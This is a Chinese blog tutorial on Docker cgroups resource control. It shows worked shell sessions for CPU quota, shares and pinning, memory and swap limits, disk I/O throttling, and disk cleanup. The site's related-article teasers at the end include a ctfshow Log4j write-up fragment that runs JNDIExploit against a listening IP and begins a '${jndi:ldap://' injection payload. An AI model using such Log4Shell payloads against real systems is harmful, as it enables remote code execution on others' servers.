【云原生】Docker Cgroups资源控制管理

目录

一、cgroups简介

cgroups有四大功能:

二、cpu时间片的概念

三、对CPU使用的限制

3.1 设置CPU使用率上限

(1)查看容器的默认CPU使用限制

(2)进行压力测试

(3)创建容器时设置CPU使用时间限制

(4)对已存在的容器进行CPU限制

3.2 设置CPU资源占用比(设置多个容器时才有效)

(1)创建两个容器,设置CPU资源占用比

(2)分别进入两个容器,进行压力测试

(3)查看容器运行状态,观察CPU使用占比

3.3 设置容器绑定指定的CPU(绑核)

四、对内存使用的限制

4.1 限制容器可以使用的最大内存

4.2 限制容器可用的swap 大小

五、对磁盘IO的配置控制(blkio)的限制

5.1 创建容器,不限制写速度

5.2 创建容器,并限制写速度

六、清除docker占用的磁盘空间

总结

1.对cpu的限制参数

2.对内存的限制

3.对磁盘IO的限制


一、cgroups简介

cgroups,是一个非常强大的linux内核工具,他不仅可以限制被namespace 隔离起来的资源,还可以 为资源设置权重、计算使用量、操控进程启停等等。所以cgroups (Control groups) 实现了对资源的配额和度量。

cgroups有四大功能:

  • 资源限制:可以对任务使用的资源总额进行限制。
  • 优先级分配:通过分配的cpu时间片数量以及磁盘IO带宽大小,实际上相当于控制了任务运行优先级。
  • 资源统计:可以统计系统的资源使用量,如cpu时长,内存用量等。
  • 任务控制: cgroup可以对任务 执行挂起、恢复等操作。

二、cpu时间片的概念

时间片即CPU分配给各个程序的时间,每个线程被分配一个时间段,称作它的时间片,即该进程允许运行的时间,使各个程序从表面上看是同时进行的。如果在时间片结束时进程还在运行,则CPU将被剥夺并分配给另一个进程。如果进程在时间片结束前阻塞或结束,则CPU当即进行切换。而不会造成CPU资源浪费。

在宏观上:我们可以同时打开多个应用程序,每个程序并行不悖,同时运行。但在微观上:由于只有一个CPU,一次只能处理程序要求的一部分,如何处理公平,一种方法就是引入时间片,每个程序轮流执行。

三、对CPU使用的限制

3.1 设置CPU使用率上限

Linux通过CFS (Completely Fair Scheduler, 完全公平调度器)来调度各个进程对CPU的使用。CFS默认的调度周期是100ms

我们可以设置每个容器进程的调度周期,以及在这个周期内各个容器最多能使用多少CPU时间。

使用 --cpu-period 即可设置调度周期,使用 --cpu-quota 即可设置在每个周期内容器能使用的CPU时间。两者可以配合使用。

CFS周期的有效范围是1ms ~ 1s, 对应的 --cpu-period 的数值范围是 1000 ~1000000 (单位微秒)。

而容器的CPU配额必须不小于1ms,即 --cpu-quota 的值必须 >= 1000。

(1)查看容器的默认CPU使用限制

#创建并启动容器
 [root@yuji ~]# docker run -itd --name test1 centos:7 /bin/bash
 WARNING: IPv4 forwarding is disabled. Networking will not work.
 059823a1abbe2ac6ed35599ca0d3d68049e49263ff9add8f65cc55daa094ec08
  #查看容器状态
 [root@yuji ~]# docker ps -a
 CONTAINER ID   IMAGE      COMMAND       CREATED          STATUS          PORTS     NAMES
 059823a1abbe   centos:7   "/bin/bash"   12 seconds ago   Up 10 seconds             test1
 ​
 #切换到cgroup下针对容器的相关配置目录
 [root@yuji ~]# cd /sys/fs/cgroup/cpu/docker/
 [root@yuji docker]# ls
 059823a1abbe2ac6ed35599ca0d3d68049e49263ff9add8f65cc55daa094ec08  cpu.cfs_quota_us
 cgroup.clone_children                                             cpu.rt_period_us
 cgroup.event_control                                              cpu.rt_runtime_us
 cgroup.procs                                                      cpu.shares
 cpuacct.stat                                                      cpu.stat
 cpuacct.usage                                                     notify_on_release
 cpuacct.usage_percpu                                              tasks
 cpu.cfs_period_us
 ##切换到test1容器的目录
 [root@yuji docker]# cd 059823a1abbe2ac6ed35599ca0d3d68049e49263ff9add8f65cc55daa094ec08
 [root@yuji 059823a1abbe2ac6ed35599ca0d3d68049e49263ff9add8f65cc55daa094ec08]# ls
 cgroup.clone_children  cgroup.procs  cpuacct.usage         cpu.cfs_period_us  cpu.rt_period_us   cpu.shares  notify_on_release
 cgroup.event_control   cpuacct.stat  cpuacct.usage_percpu  cpu.cfs_quota_us   cpu.rt_runtime_us  cpu.stat    tasks
 ##查看test1容器的CPU使用限额。即每个调度周期内可占用的CPU时间(单位:微秒)
 [root@yuji 059823a1abbe2ac6ed35599ca0d3d68049e49263ff9add8f65cc55daa094ec08]# cat cpu.cfs_quota_us
 -1                            #默认为-1,表示不限制
 ##查看CPU调度周期(单位:微秒)
 [root@yuji 059823a1abbe2ac6ed35599ca0d3d68049e49263ff9add8f65cc55daa094ec08]# cat cpu.cfs_period_us
 100000                        #单位微秒,即100毫秒,0.1秒
 ​

 #cpu.cfs_period_us:分配的周期(微秒,所以文件名中用u),默认为100000。
 #cpu.cfs_quota_us:表示该cgroups限制占用的时间(微秒),默认为-1,表示不限制。
 #cpu.cfs_quota_us 如果设为50000,表示占用 50000/100000=50%的CPU。

1-1.png

1-2.png

(2)进行压力测试

[root@yuji ~]# docker exec -it test1 bash     #进入容器
 [root@059823a1abbe /]# vi /cpu.sh         #写个死循环脚本
 #!/bin/bash
 i=0
 while true
 do
    let i++
 done
 [root@059823a1abbe /]# chmod +x cpu.sh    #给脚本权限
 [root@059823a1abbe /]# ./cpu.sh           #运行脚本
 ​
 #再开一个终端,查看cpu.sh进程的cpu使用率
 [root@localhost ~]# top                  #可以看到使用率接近100%
    PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
   3328 root      20   0   11688   1100    916 R  99.7  0.1   7:04.44 cpu.sh
    
 #之后在容器中使用ctrl+c,停止脚本的执行,再top观察CPU使用率

1-3.png

1-4.png

1-5.png

1-6.png

(3)创建容器时设置CPU使用时间限制

#创建容器test2,并限制CPU使用时间为50000微秒,表示最多占用50%的CPU。
 [root@yuji ~]# docker run -itd --name test2 --cpu-quota 50000 centos:7
 WARNING: IPv4 forwarding is disabled. Networking will not work.
 8e7ba758a231b29dad1f668ba83092e8f637d2a9785999c6d23b27c60935b12b
 #查看CPU限额文件
 [root@yuji ~]# cd /sys/fs/cgroup/cpu/docker/
 [root@yuji docker]# ls
 059823a1abbe2ac6ed35599ca0d3d68049e49263ff9add8f65cc55daa094ec08  cpuacct.usage         cpu.shares
 8e7ba758a231b29dad1f668ba83092e8f637d2a9785999c6d23b27c60935b12b  cpuacct.usage_percpu  cpu.stat
 cgroup.clone_children                                             cpu.cfs_period_us     notify_on_release
 cgroup.event_control                                              cpu.cfs_quota_us      tasks
 cgroup.procs                                                      cpu.rt_period_us
 cpuacct.stat                                                      cpu.rt_runtime_us
 [root@yuji docker]# cd 8e7ba758a231b29dad1f668ba83092e8f637d2a9785999c6d23b27c60935b12b
 [root@yuji 8e7ba758a231b29dad1f668ba83092e8f637d2a9785999c6d23b27c60935b12b]# cat cpu.cfs_quota_us
 50000
 ​
 #登录容器test2,写个死循环脚本并运行
 [root@yuji ~]# docker exec -it test2 bash
 [root@8e7ba758a231 /]#  vi /cpu.sh
 #!/bin/bash
 i=0
 while true
 do
  let i++
 done
 [root@8e7ba758a231 /]# chmod +x cpu.sh
 [root@8e7ba758a231 /]# ./cpu.sh 
 ​
 #再开一个终端,查看cpu使用率
 [root@yuji ~]# top                  #CPU使用率在50%左右
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 3746 root      20   0   11688   1096    916 R  50.0  0.1   1:55.26 cpu.sh
 ​
 ​
 #容器的CPU使用时间限制设为50000,而调度周期为100000,表示容器占用50000/100000=50%的CPU。

1-7.png

1-8.png

1-9.png

(4)对已存在的容器进行CPU限制

直接修改 /sys/fs/cgroup/cpu/docker/容器id/cpu.cfs_quota_us 文件即可

#进入test1容器目录,修改CPU使用时间限制
 [root@yuji ~]# cd /sys/fs/cgroup/cpu/docker/
 [root@yuji docker]# ls
 059823a1abbe2ac6ed35599ca0d3d68049e49263ff9add8f65cc55daa094ec08  cpuacct.usage         cpu.shares
 8e7ba758a231b29dad1f668ba83092e8f637d2a9785999c6d23b27c60935b12b  cpuacct.usage_percpu  cpu.stat
 cgroup.clone_children                                             cpu.cfs_period_us     notify_on_release
 cgroup.event_control                                              cpu.cfs_quota_us      tasks
 cgroup.procs                                                      cpu.rt_period_us
 cpuacct.stat                                                      cpu.rt_runtime_us
 [root@yuji docker]# cd 059823a1abbe2ac6ed35599ca0d3d68049e49263ff9add8f65cc55daa094ec08
 #修改CPU使用时间限制
 [root@yuji 059823a1abbe2ac6ed35599ca0d3d68049e49263ff9add8f65cc55daa094ec08]# echo "33000" >cpu.cfs_quota_us
 [root@yuji 059823a1abbe2ac6ed35599ca0d3d68049e49263ff9add8f65cc55daa094ec08]# cat cpu.cfs_quota_us
 33000
 ​
 #此时再进入test1容器执行之前创建好的脚本,进行压力测试
 [root@yuji ~]# docker exec -it test1 bash
 [root@059823a1abbe /]# ./cpu.sh
 ​
 #再开一个终端,查看cpu使用率
 [root@localhost ~]# top
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 4635 root      20   0   11688   1096    916 R  33.3  0.1   1:27.62 cpu.sh
 ​
 ​
 #容器的CPU使用时间限制设为33000,而调度周期为100000,表示容器占用33000/100000=33%的CPU。

1-10.png

1-11.png

1-12.png

3.2 设置CPU资源占用比(设置多个容器时才有效)

Docker 通过 --cpu-shares 指定CPU份额,默认值为1024,值为1024的倍数。

(1)创建两个容器,设置CPU资源占用比

#先删除所有容器
 [root@yuji ~]# docker rm -f $(docker ps -aq)
 9c48e09ea156
 7c7e024b557e
 ​
 #创建两个容器为c1和c2
 #只有这2个容器的情况下,cpu资源分摊给这两个容器,512:1024等于1:2,一个占1/3,一个占2/3。
 [root@yuji ~]# docker run -itd --name c1 --cpu-shares 512 centos:7
 WARNING: IPv4 forwarding is disabled. Networking will not work.
 300b50f13ebef4921029e352f5850b1c81f8f8e28827a8d11f20e55eec94642b
 [root@yuji ~]# docker run -itd --name c2 --cpu-shares 1024 centos:7
 WARNING: IPv4 forwarding is disabled. Networking will not work.
 7a999b00c9eef7fdb916c2914087809e7eba55b1c52aaaabeeda16a4006f57a9
 [root@yuji ~]# docker ps -a
 CONTAINER ID   IMAGE      COMMAND       CREATED         STATUS         PORTS     NAMES
 7a999b00c9ee   centos:7   "/bin/bash"   4 seconds ago   Up 3 seconds             c2
 300b50f13ebe   centos:7   "/bin/bash"   6 seconds ago   Up 5 seconds             c1

2-1.png

(2)分别进入两个容器,进行压力测试

#宿主机开启路由转发功能,使容器能够连通外网
 [root@yuji ~]# echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf
 [root@yuji ~]# sysctl -p
 net.ipv4.ip_forward = 1
 ​
 #进入c1容器,进行压力测试
 docker exec -it c1 bash
 yum install -y epel-release    #下载epel源
 yum install -y stress          #安装stress工具
 stress -c 4   #产生四个进程,每个进程都反复不停地计算随机数的平方根
 ​
 #进入c2容器,进行压力测试
 docker exec -it c2 bash
 yum install -y epel-release    #下载epel源
 yum install -y stress          #安装stress工具
 stress -c 4   #产生四个进程,每个进程都反复不停的计算随机数的平方根

2-2.png

进入c1容器,进行压力测试:

2-3.png

2-4.png

2-5.png

进入c2容器,进行压力测试:

2-6.png

2-7.png

2-8.png

(3)查看容器运行状态,观察CPU使用占比

#再打开一个终端,查看容器运行状态(动态更新)
 [root@yuji ~]# docker stats     #可以看到CPU使用占比大约是1:2
 CONTAINER ID   NAME      CPU %     MEM USAGE / LIMIT     MEM %     NET I/O          BLOCK I/O        PIDS
 7a999b00c9ee   c2        266.52%   188.9MiB / 1.938GiB   9.52%     32.8MB / 152kB   1.91MB / 50MB    7
 300b50f13ebe   c1        133.03%   203.1MiB / 1.938GiB   10.24%    33.7MB / 603kB   108MB / 51.4MB   7
 ​
 #因为宿主机有4核,所以CPU总百分比是400%。
 #c1:c2 = 133.03%:266.52% ≈ 1:2

2-9.png

3.3 设置容器绑定指定的CPU(绑核)

注意:CPU编号从0开始。 编号1、3代表第二个核和第四个核 。

#先为虚拟机分配4个CPU核数
 ​
 #创建容器c3时,绑定1号和3号这两个CPU
 [root@yuji ~]# docker run -itd --name c3 --cpuset-cpus 1,3 centos:7 /bin/bash
 ​
 #进入容器,进行压力测试
 docker exec -it c3 bash
 yum install -y epel-release    #下载epel源
 yum install -y stress          #安装stress工具
 stress -c 4   #产生四个进程,每个进程都反复不停地计算随机数的平方根
 ​
 #退出容器,执行top命令再按1查看CPU使用情况
 [root@yuji ~]# top    #可以看到CPU1和CPU3占满,其他CPU使用率为0
 top - 01:12:49 up  4:01,  3 users,  load average: 3.47, 2.96, 2.49
 Tasks: 183 total,   6 running, 177 sleeping,   0 stopped,   0 zombie
 %Cpu0  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
 %Cpu1  :100.0 us,  0.0 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
 %Cpu2  :  0.0 us,  0.0 sy,  0.0 ni,100.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
 %Cpu3  :100.0 us,  0.0 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
 KiB Mem :  2031912 total,   150852 free,   635800 used,  1245260 buff/cache
 KiB Swap:  4194300 total,  4194236 free,       64 used.  1138692 avail Mem

3-1.png

3-2.png

3-3.png

3-4.png

四、对内存使用的限制

4.1 限制容器可以使用的最大内存

-m (或--memory=)选项用于限制容器可以使用的最大内存

#-m(--memory=)选项用于限制容器可以使用的最大内存。
 ​
 #创建容器c4,并限制容器可以使用的最大内存为512m
 [root@yuji ~]# docker run -itd --name c4 -m 512m centos:7 /bin/bash
 ​
 #查看容器状态,可以看到c4可以使用的最大内存是512M
 [root@yuji ~]# docker stats
 CONTAINER ID   NAME      CPU %     MEM USAGE / LIMIT     MEM %     NET I/O          BLOCK I/O         PIDS
 437180fc6266   c4        0.00%     396KiB / 512MiB       0.08%     648B / 0B        0B / 0B           1
 ebcc06da3a03   c3        0.00%     174.2MiB / 1.938GiB   8.78%     32.8MB / 196kB   47.7MB / 50.6MB   1
 7a999b00c9ee   c2        0.00%     101.7MiB / 1.938GiB   5.13%     32.9MB / 152kB   1.91MB / 50MB     2
 300b50f13ebe   c1        0.00%     113MiB / 1.938GiB     5.69%     33.7MB / 603kB   108MB / 51.4MB    1

4-1.png

4-2.png

4.2 限制容器可用的swap 大小

#限制可用的swap 大小,--memory-swap
 ●强调一下, --memory-swap是必须要与 --memory(或-m)一起使用的。
 ●正常情况下, --memory-swap 的值包含容器可用内存和可用swap 。
 ●所以 -m 300m --memory-swap=1g 的含义为:容器可以使用300M 的物理内存,并且可以使用700M (1G - 300M)的swap。
 ​
 设置为0或者不设置,则容器可以使用的 swap 大小为 -m 值的两倍。
 如果 --memory-swap 的值和 -m 值相同,则容器不能使用swap。
 如果 --memory-swap 值为 -1,它表示容器程序使用的内存受限,而可以使用的swap空间使用不受限制(宿主机有多少swap 容器就可以使用多少)。

示例:

#--memory-swap 的值包含容器可用内存和可用swap,减去-m的值才是可用swap的值。
 #表示容器可以使用512M的物理内存,并且可以使用512M的swap。因为1g减去512m的物理内存,剩余值才是可用swap。
 docker run -itd --name yy01 -m 512m --memory-swap=1g centos:7 bash
 ​
 ​
 #--memoryswap值和 -m 的值相同,表示容器无法使用swap
 docker run -itd --name yy02 -m 512m --memory-swap=512m centos:7 bash
 ​
 ​
 # --memory-swap 的值设置为0或者不设置,则容器可以使用的 swap 大小为 -m 值的两倍。
 docker run -itd --name yy03 -m 512m centos:7 bash
 ​
 ​
 # --memory-swap 值为 -1,它表示容器程序使用的内存受限,但可以使用的swap空间使用不受限制(宿主机有多少swap 容器就可以使用多少)。
 docker run -itd --name yy04 -m 512m --memory-swap=-1 centos:7 bash

4-3.png

五、对磁盘IO的配置控制(blkio)的限制

--device-read-bps:限制某个设备上的读速度bps ( 数据量),单位可以是kb、mb (M)或者gb。

--device-write-bps : 限制某个设备上的写速度bps ( 数据量),单位可以是kb、mb (M)或者gb。

--device-read-iops :限制读某个设备的iops (次数)

--device-write-iops :限制写入某个设备的iops ( 次数)

 

--device-read-bps:限制某个设备上的读速度bps ( 数据量),单位可以是kb、mb (M)或者gb。
 例: docker run -itd --name test9 --device-read-bps /dev/sda:1M centos:7 /bin/bash
 #表示该容器每秒只能读取1M的数据量
 ​
 --device-write-bps : 限制某个设备上的写速度bps ( 数据量),单位可以是kb、mb (M)或者gb。
 例: docker run -itd --name test10 --device-write-bps /dev/sda:1mb centos:7 /bin/bash
 #表示该容器每秒只能写入1M的数据量
 ​
 --device-read-iops :限制读某个设备的iops (次数)
 --device-write-iops :限制写入某个设备的iops ( 次数)

5.1 创建容器,不限制写速度

 

#创建容器tt01,不限制写入速度
 docker run -it --name tt01 centos:7 /bin/bash
 ​
 #通过dd来验证写速度,拷贝50M的数据
 dd if=/dev/zero of=/opt/test.out bs=10M count=5 oflag=direct   #添加oflag参数以规避掉文件系统cache
 ​
 #创建容器tt01,不限制写入速度
 [root@yuji ~]# docker run -it --name tt01 centos:7 /bin/bash
 #通过dd来验证写速度,拷贝50M的数据到容器中
 [root@a62f5b811e58 /]# dd if=/dev/zero of=/opt/test.out bs=10M count=5 oflag=direct   #添加oflag参数以规避掉文件系统cache
 5+0 records in
 5+0 records out
 52428800 bytes (52 MB) copied, 0.0948474 s, 553 MB/s
 ​
 #没有限制写速度的情况下,写入很快,0.09秒的时间内已写入50M的数据,写入速度为553M/s。

5-1.png

5.2 创建容器,并限制写速度

 

#创建容器,并限制写入速度为1MB/s,即每秒只能写入1MB的数据量。
 [root@yuji ~]# docker run -it --name tt02 --device-write-bps /dev/sda:1mb centos:7 bash
 #通过dd来验证写速度,拷贝50M的数据到容器中
 [root@655f6cca0175 /]# dd if=/dev/zero of=/opt/test.out bs=10M count=5 oflag=direct  #添加oflag参数以规避掉文件系统cache
 5+0 records in
 5+0 records out
 52428800 bytes (52 MB) copied, 50.0048 s, 1.0 MB/s
 ​
 #写入50M的数据,需要50s左右,因为限制了容器的写速度是 1.0 MB/s。

5-2.png

六、清除docker占用的磁盘空间

docker system prune -a 可用于清理磁盘,删除关闭的容器、无用的数据卷和网络。

示例:

 

#查看容器
 [root@yuji ~]# docker ps -a
 CONTAINER ID   IMAGE      COMMAND       CREATED          STATUS                      PORTS     NAMES
 655f6cca0175   centos:7   "bash"        10 minutes ago   Exited (0) 4 minutes ago              tt02
 a62f5b811e58   centos:7   "/bin/bash"   19 minutes ago   Exited (0) 11 minutes ago             tt01
 437180fc6266   centos:7   "/bin/bash"   36 minutes ago   Up 36 minutes                         c4
 ebcc06da3a03   centos:7   "/bin/bash"   50 minutes ago   Up 50 minutes                         c3
 #清理磁盘,删除关闭的容器、无用的数据卷和网络。
 [root@yuji ~]# docker system prune -a
 WARNING! This will remove:                                   #提示
   - all stopped containers                                   #删除清理所有停止的容器
   - all networks not used by at least one container          #删除未被使用的网络
   - all images without at least one container associated to them  #未被使用的镜像
   - all build cache                                         #删除已建立的缓存
 ​
 Are you sure you want to continue? [y/N] y                #是否确定删除
 Deleted Containers:
 655f6cca01754d27a080e01b64aa26c4f96642ab5b5931b186ad04082a98430f
 a62f5b811e584cc6e8d344830d5df9ddcbdd72761966989245b0c52f6abb9a4a
 ......
 Total reclaimed space: 451MB

 ​
 #再次查看容器,只剩下启动中的容器
 [root@localhost ~]# docker ps -a
 CONTAINER ID   IMAGE      COMMAND       CREATED          STATUS          PORTS     NAMES
 525d77ff7423   centos:7   "/bin/bash"   3 minutes ago    Up 3 minutes              c6
 fb2ee21e0468   centos:7   "/bin/bash"   12 minutes ago   Up 12 minutes             c4
 81e3ea8f526e   centos:7   "/bin/bash"   18 minutes ago   Up 18 minutes             c3

6-1.png

6-2.png

总结

1.对cpu的限制参数

 

docker run -cpu-period     #设置调度周期时间1000~1000000
            -cpu-quota      #设置容器进程的CPU占用时间,要与调度周期时间成比例
            --cpu-shares    #设置多个容器之间的CPU资源占用比
            --cpuset-cpus   #绑核(第一个CPU编号从0开始)

2.对内存的限制

 

-m 物理内存 [--memory-swap=总值]

3.对磁盘IO的限制

 

--device-read-bps 设备文件:1mb/1M     #限制读速度
 --device-write-bps 设备文件:1mb/1M    #限制写速度
 --device-read-iops                   #限制读次数
 --device-write-iops                  #限制写次数
 ​
 docker system prune -a    #清理磁盘,删除关闭的容器、无用的数据卷和网络。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/83963.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

安装Vue_dev_tools

Vue控制台出现Download the Vue Devtools extension for a better development experience: 下载Vue_dev_tools,这里给出网盘链接,有Vue2和Vue3的,dev_tools 以Google浏览器为例 点击设置(就是那三个点)->扩展程序->管理扩…

Matlab论文插图绘制模板第108期—特征渲染的标签散点图

在之前的文章中,分享了Matlab标签散点图的绘制模板: 进一步,再来分享一下特征渲染的标签散点图的绘制模板,以便再添加一个维度的信息。 先来看一下成品效果: 特别提示:本期内容『数据代码』已上传资源群中…

ctfshow-Log4j复现-log4j复现

1、买VPS,打开mobax进行ssh连接,开两个终端 一个终端开启监听 另一个终端进入JNDIExploit-1.2-SNAPSHOT.jar所在的目录jndiexploit执行下面命令 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 116.62.152.84生成payload 构造payload ${jndi:ldap://…

Amelia预订插件:WordPress企业级预约系统

并非所有WordPress预订插件都像他们所设计的那样。其中一些缺乏运行高效预约操作所需的功能,而其他一些则看起来陈旧过时。您不需要其中任何一个,但Amelia预订插件似乎希望确保所有用户都对功能和风格感到满意。 在这篇Amelia企业级预约系统插件评测中&…

分类预测 | MATLAB实现1D-2D-CNN-GRU的多通道输入数据分类预测

分类预测 | MATLAB实现1D-2D-CNN-GRU的多通道输入数据分类预测 目录 分类预测 | MATLAB实现1D-2D-CNN-GRU的多通道输入数据分类预测分类效果基本介绍程序设计参考资料 分类效果 基本介绍 结合1D时序-2D图像多模态融合的CNN-GRU故障识别算法,基于一维时序信号和二维图…

<指针进阶>指针数组和数组指针傻傻分不清?

✨Blog:🥰不会敲代码的小张:)🥰 🉑推荐专栏:C语言🤪、Cpp😶‍🌫️、数据结构初阶💀 💽座右铭:“記住,每一天都是一個新的開始&#x1…

编写Dockerfile制作Web应用系统nginx镜像,生成镜像nginx:v1.1,并推送其到私有仓库

Docker 镜像是一个特殊的文件系统,除了提供容器运行时所需的程序、库、资源、配置等文件外,还包含了一些为运行时准备的一些配置参数(如匿名卷、环境变量、用户等)。镜像不包含任何动态数据,其内容在构建之后也不会被改…

论文及代码详解——HRNet

文章目录 论文详解 (High-Resolution Networks)Parallel Multi-Resolution ConvolutionsRepeated Multi-Resolution FusionsRepresentation Head 代码详解 论文:《Deep High-Resolution Representation Learning for Visual Recognition》 代…

微前端 - qiankun

qiankun 是一个基于 single-spa 的微前端实现库,旨在帮助大家能更简单、无痛的构建一个生产可用微前端架构系统。 本文主要记录下如何接入 qiankun 微前端。主应用使用 vue2,子应用使用 vue3、react。 一、主应用 主应用不限技术栈,只需要提…

Nest(2):Nest 应用目录结构和脚手架命令介绍

Nest 应用目录结构和脚手架命令介绍 在正式使用 NestJS 进行开发之前,先来了解下 Nest 应用的目录结构,和一些常用的脚本命令。 工程目录 下面是使用 nest/cli 创建的 Nest 项目的目录结构。 上篇文章中介绍了 src 目录以及目录下各个文件的作用。下面…

时序预测 | MATLAB实现SA-ELM模拟退火算法优化极限学习机时间序列预测

时序预测 | MATLAB实现SA-ELM模拟退火算法优化极限学习机时间序列预测 目录 时序预测 | MATLAB实现SA-ELM模拟退火算法优化极限学习机时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 MATLAB实现SA-ELM模拟退火算法优化极限学习机时间序列预测 程序设计 完整…

【已解决】Please install Node.js and npm before continuing installation.

给juopyter lab安装插件时报这个错 原因是,conda本身有nodejs,但是版本很低,只有0.几 所以需要卸载掉原来的nodejs,重新安装10版本以上的nodejs # 卸载命令 pip uninstall nodejs # 安装命令 conda install nodejs14.7.0 -c cond…

SOPC之NIOS Ⅱ实现电机转速PID控制

通过FPGA开发板上的NIOS Ⅱ搭建电机控制的硬件平台,包括电机正反转、编码器的读取,再通过软件部分实现PID算法对电机速度进行控制,使其能够渐近设定的编码器目标值。 一、PID算法 PID算法(Proportional-Integral-Derivative Algo…

Java代码审计13之URLDNS链

文章目录 1、简介urldns链2、hashmap与url类的分析2.1、Hashmap类readObject方法的跟进2.2、URL类hashcode方法的跟进2.3、InetAddress类的getByName方法 3、整个链路的分析3.1、整理上述的思路3.2、一些疑问的测试3.3、hashmap的put方法分析3.4、反射3.5、整个代码 4、补充说明…

深度学习基本理论上篇:(MLP/激活函数/softmax/损失函数/梯度/梯度下降/学习率/反向传播)、深度学习面试

1、MLP、FCN、DNN三者的关系? 多层感知器MLP,全连接网络,DNN三者的关系?三者是不是同一个概念? FCN:Fully Connected Neural Network,全连接神经网络,也称为密集连接神经网络&#…

小白到运维工程师自学之路 第七十八集 (安装Jenkins)

一、环境概述 随着软件开发需求及复杂度的不断提高,团队开发成员之间如何更好地协同工作以确保软件开发的质量已经慢慢成为开发过程中不可回避的问题。Jenkins自动化部署可以解决集成、测试、部署等重复性的工作,工具集成的效率明显高于人工操作&#xf…

【私有GPT】CHATGLM-6B部署教程

【私有GPT】CHATGLM-6B部署教程 CHATGLM-6B是什么? ChatGLM-6B是清华大学知识工程和数据挖掘小组(Knowledge Engineering Group (KEG) & Data Mining at Tsinghua University)发布的一个开源的对话机器人。根据官方介绍,这是…

【AWS】创建IAM用户;无法登录IAM用户怎么办?错误提示:您的身份验证信息错误,请重试(已解决)

目录 0.背景问题分析 1.解决步骤 0.背景问题分析 windows 11 ,64位 我的问题情景: 首先我创建了aws的账户,并且可以用ROOT用户登录,但是在登录时选择IAM用户,输入ROOT的名字和密码,就会提示【您的身份验证…

SQL 盲注

问题描述&#xff1a; 解决方案&#xff1a; 通过建立过滤器方法 添加拦截器&#xff1a; web.xml 文件配置拦截器 <filter><filter-name>sqlFilter</filter-name><filter-class>com.fh.filter.SqlFilter</filter-class></filter> pack…

【Python机器学习】实验15 将Lenet5应用于Cifar10数据集(PyTorch实现)

文章目录 CIFAR10数据集介绍1. 数据的下载2.修改模型与前面的参数设置保持一致3. 新建模型4. 从数据集中分批量读取数据5. 定义损失函数6. 定义优化器7. 开始训练8.测试模型 9. 手写体图片的可视化10. 多幅图片的可视化 思考题11. 读取测试集的图片预测值&#xff08;神经网络的…